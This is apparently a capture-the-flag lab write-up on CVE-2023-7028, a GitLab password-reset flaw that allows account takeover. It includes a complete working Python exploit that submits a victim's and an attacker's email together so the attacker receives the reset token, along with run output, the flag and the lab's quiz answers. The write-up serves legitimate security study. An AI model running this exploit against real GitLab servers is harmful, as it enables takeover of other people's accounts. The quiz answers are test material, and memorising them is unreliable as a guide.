GitLab CVE-2023-7028
- Description: Learn to exploit a GitLab instance using CVE-2023-7028 and understand various mitigation techniques.
- Difficulty: Medium
🎯 Overview
This challenge demonstrates the exploitation of CVE-2023-7028 affecting GitLab.
The vulnerability exists in the POST /users/password endpoint responsible for handling password reset functionality.
The flaw is caused by improper email validation, allowing an attacker to bypass format and ownership checks, then trigger a password reset process using an email address they control.
GitLab generates the reset token and sends it to the attacker-owned email address, giving them direct access to the token.
With the reset token and the victim's legitimate email, the attacker can complete the reset process and compromise the target account.
During analysis, reviewing the GitLab 16.1 CE source code revealed that the reset flow accepts authenticity_token and email values submitted through the /users/password endpoint.
When an account has secondary emails, the token is also sent to those addresses.
However, the email handling logic found in passwords_controller_spec.rb allows submitting multiple email addresses without verifying whether they belong to the same user.
This behavior is the key weakness enabling token interception.
The full exploitation scenario requires only a CSRF token (authenticity_token) and the victim's email address.
Once these conditions are met, the attacker can trigger the reset workflow and take ownership of the victim's account.
🔎 Solution
Before launching the exploit, /etc/hosts is modified to route traffic correctly.
In this lab environment, port 8000 runs the GitLab instance, while port 8090 hosts the attacker mail inbox via /rainloop.
Accessing http://<IP-address>:8090/rainloop allows authentication into the attacker's mailbox.
A simple proof-of-concept script is prepared with the following workflow:
- Connect to the GitLab instance.
- Retrieve the CSRF token from the password reset form.
- Send a password reset request containing two email addresses: the victim's and the attacker's.
- If the instance is vulnerable (CVE-2023-7028), GitLab sends a reset token to both addresses, allowing account takeover.
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
Running the script:
> python3 CVE_2023_7028.py -u http://10.48.170.66:8000 -t victim@mail.gitlab.thm -e attacker@mail.gitlab.thm
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = DZDwvw9aBeje29-bRGP9KUigd3-xaNCR2baMrgNHuzYjHYc5Mg4iYpxFghSkENSbFou4doWsvPdPN4zgwo3rNw
[DEBUG] Sending reset password request
[DEBUG] Emails sent to victim@mail.gitlab.thm and attacker@mail.gitlab.thm !
Flag value: account_hack#d
After the script executes successfully, checking the attacker's mailbox confirms receipt of the reset token sent by GitLab.

At this point, the attacker can proceed with resetting the victim's password.

Once a new password is set, signing in as the root user demonstrates successful account takeover and verifies exploitation of the vulnerability.
✏️ Answer questions
What is the name of the field that is sent with a password reset request to prevent CSRF attacks?
authenticity_token
What is the HTTP method used while sending password reset requests in GitLab?
POST
Per the above code, what is the API endpoint for getting an updated authenticity token?
/users/password/new
What is the flag value after successfully sending password reset mail through attack.py?
account_hack#d